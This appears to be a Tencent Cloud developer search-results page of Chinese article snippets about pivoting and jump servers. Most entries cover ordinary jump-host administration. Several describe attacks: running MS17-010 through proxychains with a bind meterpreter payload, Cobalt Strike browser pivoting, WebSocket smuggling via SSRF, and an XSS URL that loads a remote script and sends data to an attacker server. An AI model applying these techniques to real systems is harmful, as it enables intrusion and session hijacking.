- 综合排序
- 最热优先
- 最新优先
- 来自专栏网络安全
网络安全之跳板攻击
跳板攻击(Pivoting)是在获得一个网络的初始立足点（即攻陷一台主机）后，利用这台主机作为“跳板”来访问和攻击同一网络中其他无法从外部直接访问的主机的过程。 代理列表:在文件底部的[ProxyList]部分，设置你的代理服务器地址和端口（例如，SOCKS5代理在本地的1080端口）。 在需要通过跳板机访问内网Web应用时非常有用。在扩展选项中，点击“添加”。填写代理的IP、端口和类型（如SOCKS5）。保存后，即可在浏览器工具栏中快速启用或禁用该代理。 SSH隧道与端口转发如果跳板机上运行着SSH服务，SSH是实现跳板攻击最强大、最灵活的工具。正向连接(Forward/"Local"Connections)从你的攻击机发起连接到跳板机。 5.EarthWorm(ew)简介:功能强大的跨平台网络穿透工具，支持正向/反向SOCKS代理、端口转发、多级级联等。常用模式:-**正向SOCKS代理**:在内网跳板机启动SOCKS服务。
39111编辑于 2026-02-11 - 来自专栏用户7692554的专栏
初学内网渗透之代理跳板攻击
; 前言 经过前面的学习操作，我们已经 拿到一台服务器的权限了，然后通过查看靶机的网络信息，发现是双网卡，就是说是两层网络，通过kali是不能直接与另外一台服务器通信的，所以我们需要用这个靶机做代理跳板去攻击第二层网络的靶机 [aru_31] 5.最后利用代理打开msf进行跳板攻击 启动命令：proxychains msfconsole 使用ms17-010漏洞（因为是事先准备好的靶机，所以知道存在什么漏洞，不知道的情况下 ，大家只有去扫了） 注意：因为这里我们是用的代理去进行攻击的，所以payload需要设置成bind的，如：windows/x86/meterpreter/bind_tcp 设置好相关参数直接攻击就可以了 （通过代理攻击成功，已经拿到1.1.2.1的权限[aru_23]） 总结 自己胡乱搭建的内网环境，中间也出现了一些问题，不过还算是成功了吧，写的比较乱，如果发现二层网络里还有其他网络的话就需要进行多层跳板代理
1.2K10编辑于 2022-09-08 - 来自专栏今天有没有多懂一点工业安全
【操作】Cobalt Strike 浏览器跳板攻击
0x01 概念介绍 浏览器跳板攻击（Browser Pivoting）是一个应用层的跳板技术。 【浏览器跳板攻击】就是适用于这种场景的一种攻击方式。 简单来说，浏览器跳板攻击可以让攻击者以受害主机上的终端用户的身份来访问浏览器上开着的应用。 攻击者可以继承目标用户对于网站的访问权限，相当于直接跳过了对于浏览器上的应用程序的身份验证。 【浏览器跳板攻击】使攻击者可以用自己的浏览器通过目标的浏览器中继请求。 0x02 实现原理 下面介绍【浏览器跳板攻击】的实现原理。 如果使用 socks 跳板/代理跳板来访问受害机终端用户打开的那些 web 应用，就无法通过身份认证： 那为什么浏览器跳板攻击与 socks 跳板不同，可以通过身份认证呢？
1.3K20编辑于 2022-05-10 - 来自专栏网络安全
WebSocket安全漏洞：当实时通信成为攻击跳板
后果:攻击者可以通过这个“损坏的”WebSocket隧道向后端发送任意HTTP请求，常用于绕过代理层面的访问控制。这种技术通常只影响攻击者自己的连接（请求隧道），不直接影响其他用户。 攻击方法(结合SSRF):发现SSRF漏洞:目标应用存在服务器端请求伪造(SSRF)漏洞，允许攻击者控制后端服务器向任意URL发起请求，并可能影响其响应。 目标应用后端通过SSRF漏洞向攻击者控制的恶意服务器发起请求。恶意服务器返回假101:攻击者的恶意服务器响应101SwitchingProtocols。 示例Payload(攻击者发送):展开代码语言：TXTAI代码解释GET/check-url? SSRF防护:严格限制服务器发出的网络请求，防止攻击者利用SSRF漏洞控制服务器响应或访问内部资源。
35710编辑于 2025-12-05 - 来自专栏章工运维
设置跳板机脚本
192.168.100.195 | medicalinscore | ecsProd-medical-14-2 192.168.100.226 | medicalinscore | ecsProd-medicalinscore-5 192.168.100.198 | medicalinsprod | ecsProd-medical-14-4 192.168.100.229 | medicalinsprod | ecsProd-medicalinsprod-5 ecsProd-medicalinsmng-boot-1 192.168.100.209 | medicalinsmng-boot | ecsProd-medicalinsmng-boot-2 设置跳板机脚本
56420编辑于 2023-05-19 - 来自专栏公共互联网反网络钓鱼（APCN）
基于可信云服务跳板的OneDrive钓鱼攻击机制与防御对策研究
摘要近期，高级持续性钓鱼活动呈现出显著利用合法云协作平台作为初始跳板的趋势。 关键词：OneDrive钓鱼；云跳板攻击；中间人代理；条件访问；CASB；会话连续性；无密码认证1 引言在企业全面拥抱云协作的时代，Microsoft 365生态中的OneDrive与SharePoint Aq1B2C3D4E5F6G7H8I9J0K或https://contoso.sharepoint.com/:u:/g/EQABCDefGHIJKLMNOPQRSTUVWXYZ...由于链接源自微软官方域名 5 安全检测范式的演进：从链接信誉到会话连续性传统安全指标聚焦于“是否点击了恶意链接”，但在云跳板攻击中，初始链接完全合法。 例如，若某会话在访问1drv.ms后5秒内出现在非微软域名的登录页，则极可能为钓鱼。6 结语利用OneDrive等可信云服务作为钓鱼跳板的攻击手法，标志着网络钓鱼已进入“信任滥用”新阶段。
42810编辑于 2025-12-08 - 来自专栏公共互联网反网络钓鱼（APCN）
你的网站可能正在“帮”黑客钓鱼：WordPress主题漏洞成大规模攻击跳板
更令人担忧的是，由于WordPress支撑着全球超43%的网站，而其中大量站点长期未更新、使用废弃插件或来源不明的主题，这场攻击的潜在影响范围仍在持续扩大。 一、攻击链条曝光：从functions.php到ClickFix钓鱼页根据安全公司Sucuri的研究，攻击者首先通过自动化工具扫描互联网上使用特定WordPress主题（如某些老旧版的Astra、Divi 生态繁荣背后的“安全债”WordPress之所以屡成攻击目标，并非平台本身不安全，而是其高度开放的插件与主题生态带来了巨大的管理复杂性。 更棘手的是，攻击者还篡改站点的sitemap.xml和SEO元标签，将被感染页面优化为高排名结果。 三、技术防御：从“修文件”到“重建信任”面对此类供应链式攻击，仅删除恶意代码远远不够。
43310编辑于 2025-11-06 - 来自专栏从头开始学习测试开发
跳板机-Microsoft Remote Desktop
跳板机的作用 什么是跳板机 网上资料很多，大部分都是介绍跳板机的作用。 跳板机存在的理由 统一入口、规范管理统一入口，所有人员只能登录堡垒机才能访问服务器，梳理“人与服务器”之间的关系，防止越权登录 如何访问跳板机 网页浏览器：Jumpserver 一款由python编写 , Django开发的开源跳板机/堡垒机系统, 实现了跳板机应有的功能，基于ssh协议来管理，客户端无需安装agent。 客户端可视化软件：Microsoft remote desktop 由于自己是Mac，而跳板机则是一台Windows 2000系统的物理机，并且必须需要对这台跳板机进行一些界面操作的情况，在艰难的查找后 Microsoft remote desktop使用方法：下载完成后打开APP 输入user account（访问跳板机的账号和密码），就可以登录到指定的跳板机，并且进行远程界面化操作 直接私信"Microsoft
3.4K30编辑于 2022-05-10 - 来自专栏Linux内核及编程语言底层相关技术研究
ssh技巧之跳板机
在管理外网服务器时，出于安全等因素的考虑，我们一般不会把所有服务器都设置成可ssh直连，而是会从中挑选出一台机器作为跳板机，当我们想要连接外网服务器时，我们要先通过ssh登录到跳板机，再从跳板机登录到目标服务器 在该实验中，我们用机器192.168.57.3来代表目标服务器，该服务器不能ssh直连，只能通过跳板机连接，用机器192.168.56.5来代表跳板机，该跳板机可以用ssh直接连接。 从跳板机登录到目标服务器。 那我们把private key拷贝到跳板机可以不？ 不行，因为private key一旦拷贝到跳板机，那其他能登录到跳板机的人就都可以拿到我们的private key了，这非常不安全。 那怎么办呢？ 当我们在跳板机上ssh登录目标机器时，目标机器会要求跳板机用对应的ssh的private key做认证，但跳板机是没有这个key的，这个key保存在我们自己的电脑上，又因为我们在从自己的电脑ssh登录跳板机时开启了
10.7K31发布于 2019-09-10 - 来自专栏阿dai_linux
shell 搭建简易跳板机 原
创建跳板机脚本 [root@jumpserver sbin]# pwd /usr/local/sbin [root@jumpserver sbin]# vim jumpserver.sh #! 192.168.14.125/24 2-192.168.14.126/24 3-192.168.14.127/24 4-192.168.14.128/24 5- ssh user3@192.168.14.127 ;; 4) ssh user3@192.168.14.128 ;; 5) 首先在要登录的机器上创建用户并设置密码： [root@localhost ~]# useradd mytest [root@localhost ~]# passwd mytest 在跳板机创建密钥对：
1.2K20发布于 2019-04-03 - 来自专栏用户8644135的专栏
Jumpserver开源跳板机安装
3.0.7/src/redis-* /usr/bin (py3) [root@localhost src]# redis-server /usr/local/redis-3.0.7/redis.conf 5） test is successful (py3) [root@localhost ~]# nginx 4、访问Jumpserver，如下图 #浏览器输入http://192.168.0.111 5、
1.6K20发布于 2021-07-08 - 来自专栏刘旷专栏
5G成国内云计算巨头反超国际巨头新跳板？
5G成云计算新动力 云计算的无限潜力，正在成为互联网巨头们渴望的下一个增长点。 云计算市场规模无论是在国外还是国内都处于扩张阶段，而且随着5G技术的出现，与云计算相辅相成，上云变得更加的快速与方便。 5G技术的出现对于云计算继续前进有着很大的助力，5G技术的超大宽带、超规模连接、超低延时性的三大特性，使网络速度产生飞跃式的进步，万物互联迈向下一个新阶段。 在5G技术的支持之下，云计算的可靠性、效率都会得到一定的提升，在硬件技术有限的情况之下，在云上安装软件甚至会比在本地安装要更加便捷。 而在疫情黑天鹅的影响下，云计算更是成为刚需。
79720发布于 2020-07-07 - 来自专栏数据库相关
简单跳板机的搭建笔记
：192.168.2.12 0、下载跳板机文件 git clone https://github.com/LaiJingli/open_bastion_host.git 1、创建跳板机用户 先创建tianbanji 用户及tiaobanji组，只有跳板机组的用户ssh登录时才登录到非shell的跳板机程序 useradd tiaobanji usermod -s /sbin/nologin tiaobanji backup/devops/devops/tiaobanji mv tiaobanji.sh /backup/devops/devops/tiaobanji chmod 777 /backup/log/ -R 5、 尝试登录 现在我们可以使用第一步创建的devops来登录跳板机。 修改默认ssh端口号，限制访问ssh访问的IP（只允许公司的IP访问） 禁用密码登录 只允许跳板机组里的用户登录到跳板机 跳板机ip段与业务ip段分离 建议对跳板机高可用（搞2台跳板机） 8、其他注意点
3.6K20发布于 2019-09-18 - 来自专栏阿dai_linux
shell跳板机（较复杂） 转
创建 jumpserver.sh 创建跳板机存放目录： [root@jumpserver ~]# mkdir /home/jumpserver [root@jumpserver ~]# cd /home --------------------------------- (1)回车或输入"命令菜单"以外的任意字符，是退出跳板机服务。 (4)跳板机上面服务器包含：各项目存储服务器，日志服务器，应用服务。 **2)别克app项目 ${IPX[1]} (群集数：18) **3)日志服务器项目 ${IPX[2]} (群集数：11) **4)测试服I 未使用 (群集数：13) **5) 为跳板机配置公钥 以下内容只在普通用户测试使用。。。
1.1K20发布于 2019-04-03 - 来自专栏FreeBuf
网络攻击瞄准个人银行，谈谈5个典型攻击手段
虽然在过去几年针对银行的攻击手段变得更加复杂，但绝大多数攻击依旧依赖于用户欺骗。例如，针对银行的一种常见网络钓鱼攻击，就是将目标定向到恶意克隆的银行网站。 这一切都是为了引导用户犯错，而网络钓鱼还只是电子银行时代应该防范的攻击之一。以下介绍了黑客通过用户攻击银行的五种方式： SMS swaps攻击 短信诈骗在银行业已经非常普遍。 MITM攻击/中间人攻击 Man In-The-Middle（MITM）攻击由来已久，但非常有效，攻击者瞄准的是基础设施没有被充分保护的银行平台。 这种攻击通常用于攻击者所熟悉的组织，攻击者利用内部了解针对特定的负责付款的员工发起攻击。比如，他们可能会向会计发送一封电子邮件，表明是CFO要求他们支付一笔看似正常的款项。 以上这些攻击操作都依赖于最终的用户令牌，而银行如果MFA控件到位，攻击者将无法拿到这些令牌！
1.4K20发布于 2019-08-20 - 来自专栏Laoqi's Linux运维专列
堡垒机–搭建简易的跳板机
一、初识跳板机 跳板机属于内控堡垒机范畴，是一种用于单点登陆的主机应用系统。跳板机就是一台服务器，维护人员在维护过程中，首先要统一登录到这台服务器上，然后从这台服务器再登录到目标设备进行维护。 但跳板机并没有实现对运维人员操作行为的控制和审计，使用跳板机过程中还是会有误操作、违规操作导致的操作事故，一旦出现操作事故很难快速定位原因和责任人。 此外，跳板机存在严重的安全风险，一旦跳板机系统被攻入，则将后端资源风险完全暴露无遗。 比较优秀的开源软件jumpserver，认证、授权、审计、自动化、资产管理。
5.6K21发布于 2018-05-31 - 来自专栏安恒信息
揭密HTML 5带来的攻击手法
HTML5 是下一代的HTML，HTML5赋予网页更好的意义和结构。更加丰富的标签将随着对RDFa的，微数据与微格式等方面的支持，构建对程序、对用户都更有价值的数据驱动的Web。 基于HTML5开发的网页APP拥有更短的启动时间，更快的联网速度。本文详细介绍了HTML5的普及，带来的新的安全威胁。 利用跨站脚本攻击或浏览器地址栏注入javascript以后，Shell of the Future可进行劫持会话。 txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E 7、当用户点击之后，攻击者的IP地址将会发送给攻击者 5、该javascript代码会发送一个XMLHttpRequest请求。 6、分析返回的数据包，并把它发送到攻击者的服务器。 7、攻击者获取到公司内部站点的相关信息。
1K50发布于 2018-04-09 - 来自专栏ascii0x03的安全笔记
HTML5离线缓存攻击测试
攻击者由安装有XAMPP服务器的桥接虚拟机表示，IP为192.168.1.154。 攻击者可以访问本目录的demo_html.appcache获得缓存文件，在同名文件加入自己的恶意代码（这里是弹出hacked对话框），利用DNS欺骗、中间人等方式，这里将HOSTS文件更改为192.168.1.154 接下来，修改HOSTS文件为192.168.1.113 www.cache-test.com，模拟用户已经回到了安全的上网环境下，当用户再次访问该合法网站时，仍然出现的是上述攻击者的页面。 通过Wireshark抓包可以看到，浏览器仅仅请求了demo_html.appcache，离线缓存攻击成功。注意在实验时需要排除浏览器本身缓存的影响，仅仅刷新页面会收到服务器返回的304响应。 由于时间有限，并没有用爬虫去找使用了HTML5离线缓存的网站，仅仅做了这种攻击的验证实验，若有大家可以推荐几个来测试。 主页htm： <!
2.1K90发布于 2018-04-12 - 来自专栏vivo互联网技术
一种跳板机的实现思路
vivo 互联网运维团队- Yang Lei 本文介绍了一种跳板机实现思路，阐述了基本原理，并讲解了特点和相对优势。 一、 跳板机思路简介本文所描述的跳板机（下文称为“jmp”）支持：Linux服务器Windows服务器其他终端（MySQL终端、Redis终端、网络设备终端 等等）有别于市面上常见的jumpserver 方案，使用本文所搭建的跳板机将不会存储任何Linux服务器的账号、密码、密钥等信息，杜绝了信息泄露的可能。 三、跳板机系统架构3.1 微服务和高可用设计3.1.1 微服务设计整个跳板机系统可拆分为5个服务，和1个组件。 针对服务器的登录访问，本文介绍了跳板机的一种实现思路，并描述了该思路的优点和独特之处。通过该思路可以一定程度上构建简单、易用且高可用的跳板机，从而解决服务器登录问题。
1.8K50编辑于 2022-06-28 - 来自专栏重庆的技术分享区
5种类型的员工经常受到网络钓鱼攻击的攻击
现代攻击者已经有组织的 从用户及其系统破坏，转向更容易的目标。网络钓鱼，比如黑客攻击活动，将伪装成合法流量的欺诈性电子邮件发送，是主要技术。 当这封邮件看起来是来自朋友或高层管理人员的时候，员工更自然地会信任它，并被钓鱼攻击吸引住。毕竟，谁会对老板说“不”? 相关：每个企业家都需要了解的7层网络安全层 这些攻击的总成本是数十亿美元。 他们的前线角色和特权关系鼓励攻击者将他们视为可以放弃王国钥匙的无障碍目标。对助理的攻击通常以另一位执行官的请求的形式出现，通常要求审查附件或发送财务信息。 5.任何员工 事实的真相是，大规模的网络钓鱼攻击和以往一样流行。在你的公司里，从首席执行官到入门级助理，任何人都可能成为网络钓鱼攻击的对象。 拥有响应可疑电子邮件的安全策略和公司范围的备份策略也可以降低攻击风险。 了解这些用户以及攻击者可能使用的诱饵使得安全意识和教育更具针对性，有趣和有效。
1.1K20发布于 2018-08-01
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号